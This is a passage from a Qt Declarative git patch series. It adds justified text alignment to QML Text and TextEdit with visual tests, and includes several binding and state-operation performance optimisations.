tests/auto/declarative/qmlvisual/qdeclarativetextedit/justify.qml diff --git a/src/declarative/graphicsitems/qdeclarativetext.cpp b/src/declarative/graphicsitems/qdeclarativetext.cpp index 303b21c..cf11be6 100644 --- a/src/declarative/graphicsitems/qdeclarativetext.cpp +++ b/src/declarative/graphicsitems/qdeclarativetext.cpp @@ -297,6 +297,8 @@ QSize QDeclarativeTextPrivate::setupTextLayout() lineWidth = q->width(); QTextOption textOption = layout.textOption(); + if (hAlign == QDeclarativeText::AlignJustify) + textOption.setAlignment(Qt::Alignment(hAlign)); textOption.setWrapMode(QTextOption::WrapMode(wrapMode)); layout.setTextOption(textOption); @@ -325,7 +327,7 @@ QSize QDeclarativeTextPrivate::setupTextLayout() height += line.height(); if (!cacheAllTextAsImage) { - if (hAlign == QDeclarativeText::AlignLeft) { + if ((hAlign == QDeclarativeText::AlignLeft) || (hAlign == QDeclarativeText::AlignJustify)) { x = 0; } else if (hAlign == QDeclarativeText::AlignRight) { x = layoutWidth - line.naturalTextWidth(); @@ -351,7 +353,7 @@ QPixmap QDeclarativeTextPrivate::textLayoutImage(bool drawStyle) qreal x = 0; for (int i = 0; i < layout.lineCount(); ++i) { QTextLine line = layout.lineAt(i); - if (hAlign == QDeclarativeText::AlignLeft) { + if ((hAlign == QDeclarativeText::AlignLeft) || (hAlign == QDeclarativeText::AlignJustify)) { x = 0; } else if (hAlign == QDeclarativeText::AlignRight) { x = size.width() - line.naturalTextWidth(); @@ -898,8 +900,8 @@ void QDeclarativeText::setStyleColor(const QColor &color) Sets the horizontal and vertical alignment of the text within the Text items width and height. By default, the text is top-left aligned. - The valid values for \c horizontalAlignment are \c Text.AlignLeft, \c Text.AlignRight and - \c Text.AlignHCenter. The valid values for \c verticalAlignment are \c Text.AlignTop, \c Text.AlignBottom + The valid values for \c horizontalAlignment are \c Text.AlignLeft, \c Text.AlignRight, \c Text.AlignHCenter and + \c Text.AlignJustify. The valid values for \c verticalAlignment are \c Text.AlignTop, \c Text.AlignBottom and \c Text.AlignVCenter. Note that for a single line of text, the size of the text is the area of the text. In this common case, @@ -1117,6 +1119,7 @@ QRectF QDeclarativeText::boundingRect() const switch (d->hAlign) { case AlignLeft: + case AlignJustify: x = 0; break; case AlignRight: diff --git a/src/declarative/graphicsitems/qdeclarativetext_p.h b/src/declarative/graphicsitems/qdeclarativetext_p.h index 51434d5..49bff14 100644 --- a/src/declarative/graphicsitems/qdeclarativetext_p.h +++ b/src/declarative/graphicsitems/qdeclarativetext_p.h @@ -82,7 +82,8 @@ public: enum HAlignment { AlignLeft = Qt::AlignLeft, AlignRight = Qt::AlignRight, - AlignHCenter = Qt::AlignHCenter }; + AlignHCenter = Qt::AlignHCenter, + AlignJustify = Qt::AlignJustify }; // ### VERSIONING: Only in QtQuick 1.1 enum VAlignment { AlignTop = Qt::AlignTop, AlignBottom = Qt::AlignBottom, AlignVCenter = Qt::AlignVCenter }; diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp index e05f4e4..f37fa62 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp @@ -442,6 +442,7 @@ void QDeclarativeTextEdit::setSelectedTextColor(const QColor &color) \o TextEdit.AlignLeft (default) \o TextEdit.AlignRight \o TextEdit.AlignHCenter + \o TextEdit.AlignJustify \endlist Valid values for \c verticalAlignment are: diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p.h index 68fde3d..7f12c85 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p.h @@ -97,7 +97,8 @@ public: enum HAlignment { AlignLeft = Qt::AlignLeft, AlignRight = Qt::AlignRight, - AlignHCenter = Qt::AlignHCenter + AlignHCenter = Qt::AlignHCenter, + AlignJustify = Qt::AlignJustify // ### VERSIONING: Only in QtQuick 1.1 }; enum VAlignment { diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.0.png new file mode 100644 index 0000000..74c6934 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.qml new file mode 100644 index 0000000..e4dbeb1 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.qml @@ -0,0 +1,11 @@ +import Qt.VisualTest 4.7 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + image: "justify.0.png" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/align/justify.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/justify.qml new file mode 100644 index 0000000..c3a7aaa --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/justify.qml @@ -0,0 +1,22 @@ +import QtQuick 1.0 +import "../../shared" 1.0 + +Rectangle { + width: 450 + height: 250 + + TestText { + anchors.fill: parent + anchors { leftMargin: 10; rightMargin: 10; topMargin:10; bottomMargin: 10 } + wrapMode: Text.Wrap + horizontalAlignment: Text.AlignJustify + + text: "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin a aliquet massa. Integer id velit a nibh imperdiet sagittis. Cras fringilla enim non nulla porta bibendum. Integer risus urna, hendrerit non interdum ut, dapibus id velit. Nullam fermentum viverra pellentesque. In molestie scelerisque lorem molestie ultrices. Curabitur dolor arcu, tristique in sodales in, varius sed diam. Quisque magna velit, tincidunt sed ullamcorper sit amet, ornare adipiscing ligula. In hac habitasse platea dictumst. Ut tincidunt urna vel mauris fermentum ornare quis a ligula. Suspendisse cursus volutpat sapien eget cursus." + + Rectangle { + anchors.fill: parent + color: "transparent" + border.color: "red" + } + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.0.png new file mode 100644 index 0000000..74c6934 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.qml new file mode 100644 index 0000000..e4dbeb1 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.qml @@ -0,0 +1,11 @@ +import Qt.VisualTest 4.7 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + image: "justify.0.png" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/justify.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/justify.qml new file mode 100644 index 0000000..4aeb58c --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/justify.qml @@ -0,0 +1,22 @@ +import QtQuick 1.0 +import "../shared" 1.0 + +Rectangle { + width: 450 + height: 250 + + TestTextEdit { + anchors.fill: parent + anchors { leftMargin: 10; rightMargin: 10; topMargin:10; bottomMargin: 10 } + wrapMode: Text.Wrap + horizontalAlignment: Text.AlignJustify + + text: "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin a aliquet massa. Integer id velit a nibh imperdiet sagittis. Cras fringilla enim non nulla porta bibendum. Integer risus urna, hendrerit non interdum ut, dapibus id velit. Nullam fermentum viverra pellentesque. In molestie scelerisque lorem molestie ultrices. Curabitur dolor arcu, tristique in sodales in, varius sed diam. Quisque magna velit, tincidunt sed ullamcorper sit amet, ornare adipiscing ligula. In hac habitasse platea dictumst. Ut tincidunt urna vel mauris fermentum ornare quis a ligula. Suspendisse cursus volutpat sapien eget cursus." + + Rectangle { + anchors.fill: parent + color: "transparent" + border.color: "red" + } + } +} -- cgit v0.12 From cdd9209590f9c970ea6f9e0c734f0729610ede2a Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Tue, 14 Dec 2010 08:54:25 +1000 Subject: Optimization for photoviewer demo. --- demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml index 856a2c7..6248745 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml @@ -61,7 +61,7 @@ Package { BorderImage { anchors { - fill: border.visible ? border : placeHolder + fill: originalImage.status == Image.Ready ? border : placeHolder leftMargin: -6; topMargin: -6; rightMargin: -8; bottomMargin: -8 } source: 'images/box-shadow.png'; smooth: true -- cgit v0.12 From 139ecc0e74af2795faa55cfd532aeb10c631049e Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Tue, 14 Dec 2010 10:20:57 +1000 Subject: Optimize construction of QDeclarativeProperty in state operations. Reviewed-by: Martin Jones --- src/declarative/util/qdeclarativestate.cpp | 2 +- .../util/qdeclarativestateoperations.cpp | 63 ++++++++++++---------- 2 files changed, 35 insertions(+), 30 deletions(-) diff --git a/src/declarative/util/qdeclarativestate.cpp b/src/declarative/util/qdeclarativestate.cpp index 3915485..6925e03 100644 --- a/src/declarative/util/qdeclarativestate.cpp +++ b/src/declarative/util/qdeclarativestate.cpp @@ -66,7 +66,7 @@ QDeclarativeAction::QDeclarativeAction() QDeclarativeAction::QDeclarativeAction(QObject *target, const QString &propertyName, const QVariant &value) : restore(true), actionDone(false), reverseEvent(false), deletableToBinding(false), - property(target, propertyName), toValue(value), + property(target, propertyName, qmlEngine(target)), toValue(value), fromBinding(0), event(0), specifiedObject(target), specifiedProperty(propertyName) { diff --git a/src/declarative/util/qdeclarativestateoperations.cpp b/src/declarative/util/qdeclarativestateoperations.cpp index d1d7822..82360b2 100644 --- a/src/declarative/util/qdeclarativestateoperations.cpp +++ b/src/declarative/util/qdeclarativestateoperations.cpp @@ -367,16 +367,18 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions() a.event = this; actions << a; + QDeclarativeContext *ctxt = qmlContext(this); + if (d->xString.isValid()) { bool ok = false; QString script = d->xString.value.script(); qreal x = script.toFloat(&ok); if (ok) { - QDeclarativeAction xa(d->target, QLatin1String("x"), x); + QDeclarativeAction xa(d->target, QLatin1String("x"), ctxt, x); actions << xa; } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, qmlContext(this)); - newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("x"))); + QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, ctxt); + newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("x"), ctxt)); QDeclarativeAction xa; xa.property = newBinding->property(); xa.toBinding = newBinding; @@ -391,11 +393,11 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions() QString script = d->yString.value.script(); qreal y = script.toFloat(&ok); if (ok) { - QDeclarativeAction ya(d->target, QLatin1String("y"), y); + QDeclarativeAction ya(d->target, QLatin1String("y"), ctxt, y); actions << ya; } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, qmlContext(this)); - newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("y"))); + QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, ctxt); + newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("y"), ctxt)); QDeclarativeAction ya; ya.property = newBinding->property(); ya.toBinding = newBinding; @@ -410,11 +412,11 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions() QString script = d->scaleString.value.script(); qreal scale = script.toFloat(&ok); if (ok) { - QDeclarativeAction sa(d->target, QLatin1String("scale"), scale); + QDeclarativeAction sa(d->target, QLatin1String("scale"), ctxt, scale); actions << sa; } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, qmlContext(this)); - newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("scale"))); + QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, ctxt); + newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("scale"), ctxt)); QDeclarativeAction sa; sa.property = newBinding->property(); sa.toBinding = newBinding; @@ -429,11 +431,11 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions() QString script = d->rotationString.value.script(); qreal rotation = script.toFloat(&ok); if (ok) { - QDeclarativeAction ra(d->target, QLatin1String("rotation"), rotation); + QDeclarativeAction ra(d->target, QLatin1String("rotation"), ctxt, rotation); actions << ra; } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, qmlContext(this)); - newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("rotation"))); + QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, ctxt); + newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("rotation"), ctxt)); QDeclarativeAction ra; ra.property = newBinding->property(); ra.toBinding = newBinding; @@ -448,11 +450,11 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions() QString script = d->widthString.value.script(); qreal width = script.toFloat(&ok); if (ok) { - QDeclarativeAction wa(d->target, QLatin1String("width"), width); + QDeclarativeAction wa(d->target, QLatin1String("width"), ctxt, width); actions << wa; } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, qmlContext(this)); - newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("width"))); + QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, ctxt); + newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("width"), ctxt)); QDeclarativeAction wa; wa.property = newBinding->property(); wa.toBinding = newBinding; @@ -467,11 +469,11 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions() QString script = d->heightString.value.script(); qreal height = script.toFloat(&ok); if (ok) { - QDeclarativeAction ha(d->target, QLatin1String("height"), height); + QDeclarativeAction ha(d->target, QLatin1String("height"), ctxt, height); actions << ha; } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, qmlContext(this)); - newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("height"))); + QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, ctxt); + newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("height"), ctxt)); QDeclarativeAction ha; ha.property = newBinding->property(); ha.toBinding = newBinding; @@ -1075,32 +1077,34 @@ QDeclarativeAnchorChanges::ActionList QDeclarativeAnchorChanges::actions() d->vCenterProp = QDeclarativeProperty(d->target, QLatin1String("anchors.verticalCenter")); d->baselineProp = QDeclarativeProperty(d->target, QLatin1String("anchors.baseline")); + QDeclarativeContext *ctxt = qmlContext(this); + if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::LeftAnchor) { - d->leftBinding = new QDeclarativeBinding(d->anchorSet->d_func()->leftScript.script(), d->target, qmlContext(this)); + d->leftBinding = new QDeclarativeBinding(d->anchorSet->d_func()->leftScript.script(), d->target, ctxt); d->leftBinding->setTarget(d->leftProp); } if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::RightAnchor) { - d->rightBinding = new QDeclarativeBinding(d->anchorSet->d_func()->rightScript.script(), d->target, qmlContext(this)); + d->rightBinding = new QDeclarativeBinding(d->anchorSet->d_func()->rightScript.script(), d->target, ctxt); d->rightBinding->setTarget(d->rightProp); } if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::HCenterAnchor) { - d->hCenterBinding = new QDeclarativeBinding(d->anchorSet->d_func()->hCenterScript.script(), d->target, qmlContext(this)); + d->hCenterBinding = new QDeclarativeBinding(d->anchorSet->d_func()->hCenterScript.script(), d->target, ctxt); d->hCenterBinding->setTarget(d->hCenterProp); } if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::TopAnchor) { - d->topBinding = new QDeclarativeBinding(d->anchorSet->d_func()->topScript.script(), d->target, qmlContext(this)); + d->topBinding = new QDeclarativeBinding(d->anchorSet->d_func()->topScript.script(), d->target, ctxt); d->topBinding->setTarget(d->topProp); } if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::BottomAnchor) { - d->bottomBinding = new QDeclarativeBinding(d->anchorSet->d_func()->bottomScript.script(), d->target, qmlContext(this)); + d->bottomBinding = new QDeclarativeBinding(d->anchorSet->d_func()->bottomScript.script(), d->target, ctxt); d->bottomBinding->setTarget(d->bottomProp); } if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::VCenterAnchor) { - d->vCenterBinding = new QDeclarativeBinding(d->anchorSet->d_func()->vCenterScript.script(), d->target, qmlContext(this)); + d->vCenterBinding = new QDeclarativeBinding(d->anchorSet->d_func()->vCenterScript.script(), d->target, ctxt); d->vCenterBinding->setTarget(d->vCenterProp); } if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::BaselineAnchor) { - d->baselineBinding = new QDeclarativeBinding(d->anchorSet->d_func()->baselineScript.script(), d->target, qmlContext(this)); + d->baselineBinding = new QDeclarativeBinding(d->anchorSet->d_func()->baselineScript.script(), d->target, ctxt); d->baselineBinding->setTarget(d->baselineProp); } @@ -1380,24 +1384,25 @@ QList QDeclarativeAnchorChanges::additionalActions() bool vChange = combined & QDeclarativeAnchors::Vertical_Mask; if (d->target) { + QDeclarativeContext *ctxt = qmlContext(this); QDeclarativeAction a; if (hChange && d->fromX != d->toX) { - a.property = QDeclarativeProperty(d->target, QLatin1String("x")); + a.property = QDeclarativeProperty(d->target, QLatin1String("x"), ctxt); a.toValue = d->toX; extra << a; } if (vChange && d->fromY != d->toY) { - a.property = QDeclarativeProperty(d->target, QLatin1String("y")); + a.property = QDeclarativeProperty(d->target, QLatin1String("y"), ctxt); a.toValue = d->toY; extra << a; } if (hChange && d->fromWidth != d->toWidth) { - a.property = QDeclarativeProperty(d->target, QLatin1String("width")); + a.property = QDeclarativeProperty(d->target, QLatin1String("width"), ctxt); a.toValue = d->toWidth; extra << a; } if (vChange && d->fromHeight != d->toHeight) { - a.property = QDeclarativeProperty(d->target, QLatin1String("height")); + a.property = QDeclarativeProperty(d->target, QLatin1String("height"), ctxt); a.toValue = d->toHeight; extra << a; } -- cgit v0.12 From 488e616b50707e5b37162e6d0cfc71a1ffdf9bef Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 15 Dec 2010 12:08:13 +1000 Subject: Rewrite/cache bindings created by PropertyChanges. This provides a significant optimization for initial evaluation of bindings specified in a PropertyChanges. Reviewed-by: Aaron Kennedy --- src/declarative/qml/qdeclarativebinding.cpp | 14 +++++++++++ src/declarative/qml/qdeclarativebinding_p.h | 3 +++ src/declarative/qml/qdeclarativecompiler.cpp | 29 ++++++++++++++++++++++ src/declarative/qml/qdeclarativecompiler_p.h | 1 + src/declarative/qml/qdeclarativecontext_p.h | 1 - src/declarative/qml/qdeclarativecustomparser.cpp | 9 +++++++ src/declarative/qml/qdeclarativecustomparser_p.h | 3 +++ .../util/qdeclarativepropertychanges.cpp | 26 ++++++++++++++++--- 8 files changed, 82 insertions(+), 4 deletions(-) diff --git a/src/declarative/qml/qdeclarativebinding.cpp b/src/declarative/qml/qdeclarativebinding.cpp index 309d372..1ead6ce 100644 --- a/src/declarative/qml/qdeclarativebinding.cpp +++ b/src/declarative/qml/qdeclarativebinding.cpp @@ -46,6 +46,7 @@ #include "qdeclarativecontext.h" #include "qdeclarativeinfo.h" #include "private/qdeclarativecontext_p.h" +#include "private/qdeclarativecompiler_p.h" #include "private/qdeclarativedata_p.h" #include "private/qdeclarativestringconverters_p.h" #include "private/qdeclarativestate_p_p.h" @@ -233,6 +234,19 @@ QDeclarativeBinding::QDeclarativeBinding(void *data, QDeclarativeRefCount *rc, Q setNotifyOnValueChanged(true); } +QDeclarativeBinding * +QDeclarativeBinding::createBinding(Identifier id, QObject *obj, QDeclarativeContext *ctxt, + const QString &url, int lineNumber, QObject *parent) +{ + QDeclarativeContextData *ctxtdata = QDeclarativeContextData::get(ctxt); + + QDeclarativeEnginePrivate *engine = QDeclarativeEnginePrivate::get(qmlEngine(obj)); + QDeclarativeCompiledData *cdata = 0; + if (engine && ctxtdata && !ctxtdata->url.isEmpty()) + cdata = engine->typeLoader.get(ctxtdata->url)->compiledData(); + return cdata ? new QDeclarativeBinding((void*)cdata->datas.at(id).constData(), cdata, obj, ctxtdata, url, lineNumber, parent) : 0; +} + QDeclarativeBinding::QDeclarativeBinding(const QString &str, QObject *obj, QDeclarativeContext *ctxt, QObject *parent) : QDeclarativeExpression(QDeclarativeContextData::get(ctxt), obj, str, *new QDeclarativeBindingPrivate) diff --git a/src/declarative/qml/qdeclarativebinding_p.h b/src/declarative/qml/qdeclarativebinding_p.h index 7823a3d..787a3b9 100644 --- a/src/declarative/qml/qdeclarativebinding_p.h +++ b/src/declarative/qml/qdeclarativebinding_p.h @@ -162,6 +162,9 @@ public: virtual void update(QDeclarativePropertyPrivate::WriteFlags flags); virtual QString expression() const; + typedef int Identifier; + static QDeclarativeBinding *createBinding(Identifier, QObject *, QDeclarativeContext *, const QString &, int, QObject *parent=0); + public Q_SLOTS: void update() { update(QDeclarativePropertyPrivate::DontRemoveBinding); } diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index 4749bf8..4f4ad3f 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -2262,6 +2262,35 @@ const QMetaObject *QDeclarativeCompiler::resolveType(const QByteArray& name) con return qmltype->metaObject(); } +// similar to logic of completeComponentBuild, but also sticks data +// into datas at the end +int QDeclarativeCompiler::rewriteBinding(const QString& expression, const QByteArray& name) +{ + QDeclarativeRewrite::RewriteBinding rewriteBinding; + rewriteBinding.setName('$' + name); + bool isSharable = false; + QString rewrite = rewriteBinding(expression, 0, &isSharable); + + quint32 length = rewrite.length(); + quint32 pc; + + if (isSharable) { + pc = output->cachedClosures.count(); + pc |= 0x80000000; + output->cachedClosures.append(0); + } else { + pc = output->cachedPrograms.length(); + output->cachedPrograms.append(0); + } + + QByteArray compiledData = + QByteArray((const char *)&pc, sizeof(quint32)) + + QByteArray((const char *)&length, sizeof(quint32)) + + QByteArray((const char *)rewrite.constData(), + rewrite.length() * sizeof(QChar)); + + return output->indexForByteArray(compiledData); +} // Ensures that the dynamic meta specification on obj is valid bool QDeclarativeCompiler::checkDynamicMeta(QDeclarativeParser::Object *obj) diff --git a/src/declarative/qml/qdeclarativecompiler_p.h b/src/declarative/qml/qdeclarativecompiler_p.h index 7d76ad9..bface8f 100644 --- a/src/declarative/qml/qdeclarativecompiler_p.h +++ b/src/declarative/qml/qdeclarativecompiler_p.h @@ -161,6 +161,7 @@ public: int evaluateEnum(const QByteArray& script) const; // for QDeclarativeCustomParser::evaluateEnum const QMetaObject *resolveType(const QByteArray& name) const; // for QDeclarativeCustomParser::resolveType + int rewriteBinding(const QString& expression, const QByteArray& name); // for QDeclarativeCustomParser::rewriteBinding private: static void reset(QDeclarativeCompiledData *); diff --git a/src/declarative/qml/qdeclarativecontext_p.h b/src/declarative/qml/qdeclarativecontext_p.h index 6c14feb..6b71381 100644 --- a/src/declarative/qml/qdeclarativecontext_p.h +++ b/src/declarative/qml/qdeclarativecontext_p.h @@ -77,7 +77,6 @@ class QDeclarativeEngine; class QDeclarativeExpression; class QDeclarativeExpressionPrivate; class QDeclarativeAbstractExpression; -class QDeclarativeBinding_Id; class QDeclarativeCompiledBindings; class QDeclarativeContextData; diff --git a/src/declarative/qml/qdeclarativecustomparser.cpp b/src/declarative/qml/qdeclarativecustomparser.cpp index 97a6a00..58ffc56 100644 --- a/src/declarative/qml/qdeclarativecustomparser.cpp +++ b/src/declarative/qml/qdeclarativecustomparser.cpp @@ -304,5 +304,14 @@ const QMetaObject *QDeclarativeCustomParser::resolveType(const QByteArray& name) return compiler->resolveType(name); } +/*! + Rewrites \a expression and returns an identifier that can be + used to construct the binding later. \a name + is used as the name of the rewritten function. +*/ +QDeclarativeBinding::Identifier QDeclarativeCustomParser::rewriteBinding(const QString& expression, const QByteArray& name) +{ + return compiler->rewriteBinding(expression, name); +} QT_END_NAMESPACE diff --git a/src/declarative/qml/qdeclarativecustomparser_p.h b/src/declarative/qml/qdeclarativecustomparser_p.h index c3f9dd2..9b419c2 100644 --- a/src/declarative/qml/qdeclarativecustomparser_p.h +++ b/src/declarative/qml/qdeclarativecustomparser_p.h @@ -56,6 +56,7 @@ #include "private/qdeclarativemetatype_p.h" #include "qdeclarativeerror.h" #include "private/qdeclarativeparser_p.h" +#include "private/qdeclarativebinding_p.h" #include #include @@ -140,6 +141,8 @@ protected: const QMetaObject *resolveType(const QByteArray&) const; + QDeclarativeBinding::Identifier rewriteBinding(const QString&, const QByteArray&); + private: QList exceptions; QDeclarativeCompiler *compiler; diff --git a/src/declarative/util/qdeclarativepropertychanges.cpp b/src/declarative/util/qdeclarativepropertychanges.cpp index 8d01b80..400803e 100644 --- a/src/declarative/util/qdeclarativepropertychanges.cpp +++ b/src/declarative/util/qdeclarativepropertychanges.cpp @@ -42,6 +42,9 @@ #include "private/qdeclarativepropertychanges_p.h" #include "private/qdeclarativeopenmetaobject_p.h" +#include "private/qdeclarativerewrite_p.h" +#include "private/qdeclarativeengine_p.h" +#include "private/qdeclarativecompiler_p.h" #include #include @@ -219,6 +222,7 @@ public: QList > properties; QList > expressions; + QList ids; QList signalReplacements; QDeclarativeProperty property(const QByteArray &); @@ -267,6 +271,7 @@ QDeclarativePropertyChangesParser::compile(const QList(data.at(ii).second); QVariant var; bool isScript = v.isScript(); + QDeclarativeBinding::Identifier id; switch(v.type()) { case QDeclarativeParser::Variant::Boolean: var = QVariant(v.asBoolean()); @@ -280,10 +285,17 @@ QDeclarativePropertyChangesParser::compile(const QList> name; ds >> isScript; ds >> data; + if (isScript) + ds >> id; QDeclarativeProperty prop = property(name); //### better way to check for signal property? if (prop.type() & QDeclarativeProperty::SignalProperty) { @@ -323,6 +338,7 @@ void QDeclarativePropertyChangesPrivate::decode() if (ddata && ddata->outerContext && !ddata->outerContext->url.isEmpty()) expression->setSourceLocation(ddata->outerContext->url.toString(), ddata->lineNumber); expressions << qMakePair(name, expression); + ids << id; } else { properties << qMakePair(name, data); } @@ -452,10 +468,14 @@ QDeclarativePropertyChanges::ActionList QDeclarativePropertyChanges::actions() a.toValue = d->expressions.at(ii).second->evaluate(); } else { QDeclarativeExpression *e = d->expressions.at(ii).second; - QDeclarativeBinding *newBinding = - new QDeclarativeBinding(e->expression(), object(), qmlContext(this)); + + QDeclarativeBinding::Identifier id = d->ids.at(ii); + QDeclarativeBinding *newBinding = QDeclarativeBinding::createBinding(id, object(), qmlContext(this), e->sourceFile(), e->lineNumber()); + if (!newBinding) { + newBinding = new QDeclarativeBinding(e->expression(), object(), qmlContext(this)); + newBinding->setSourceLocation(e->sourceFile(), e->lineNumber()); + } newBinding->setTarget(prop); - newBinding->setSourceLocation(e->sourceFile(), e->lineNumber()); a.toBinding = newBinding; a.deletableToBinding = true; } -- cgit v0.12 From 24b8dcee5bd51784c341acc708ce3985d85d430a Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Thu, 16 Dec 2010 14:54:28 +1000 Subject: ParentChange optimizations. The QDeclarativeScriptStrings used for the properties are unlikely to change, so we immediately attempt to convert to a real value, rather than converting every time actions() is called. Task-number: QTBUG-15331 Reviewed-by: Martin Jones --- .../util/qdeclarativestateoperations.cpp | 77 ++++++++++++---------- 1 file changed, 41 insertions(+), 36 deletions(-) diff --git a/src/declarative/util/qdeclarativestateoperations.cpp b/src/declarative/util/qdeclarativestateoperations.cpp index 82360b2..b606ff3 100644 --- a/src/declarative/util/qdeclarativestateoperations.cpp +++ b/src/declarative/util/qdeclarativestateoperations.cpp @@ -83,6 +83,13 @@ public: QDeclarativeNullableValue scaleString; QDeclarativeNullableValue rotationString; + QDeclarativeNullableValue x; + QDeclarativeNullableValue y; + QDeclarativeNullableValue width; + QDeclarativeNullableValue height; + QDeclarativeNullableValue scale; + QDeclarativeNullableValue rotation; + void doChange(QDeclarativeItem *targetParent, QDeclarativeItem *stackBefore = 0); }; @@ -213,10 +220,21 @@ QDeclarativeScriptString QDeclarativeParentChange::x() const return d->xString.value; } +void tryReal(QDeclarativeNullableValue &value, const QString &string) +{ + bool ok = false; + qreal realValue = string.toFloat(&ok); + if (ok) + value = realValue; + else + value.invalidate(); +} + void QDeclarativeParentChange::setX(QDeclarativeScriptString x) { Q_D(QDeclarativeParentChange); d->xString = x; + tryReal(d->x, x.script()); } bool QDeclarativeParentChange::xIsSet() const @@ -235,6 +253,7 @@ void QDeclarativeParentChange::setY(QDeclarativeScriptString y) { Q_D(QDeclarativeParentChange); d->yString = y; + tryReal(d->y, y.script()); } bool QDeclarativeParentChange::yIsSet() const @@ -253,6 +272,7 @@ void QDeclarativeParentChange::setWidth(QDeclarativeScriptString width) { Q_D(QDeclarativeParentChange); d->widthString = width; + tryReal(d->width, width.script()); } bool QDeclarativeParentChange::widthIsSet() const @@ -271,6 +291,7 @@ void QDeclarativeParentChange::setHeight(QDeclarativeScriptString height) { Q_D(QDeclarativeParentChange); d->heightString = height; + tryReal(d->height, height.script()); } bool QDeclarativeParentChange::heightIsSet() const @@ -289,6 +310,7 @@ void QDeclarativeParentChange::setScale(QDeclarativeScriptString scale) { Q_D(QDeclarativeParentChange); d->scaleString = scale; + tryReal(d->scale, 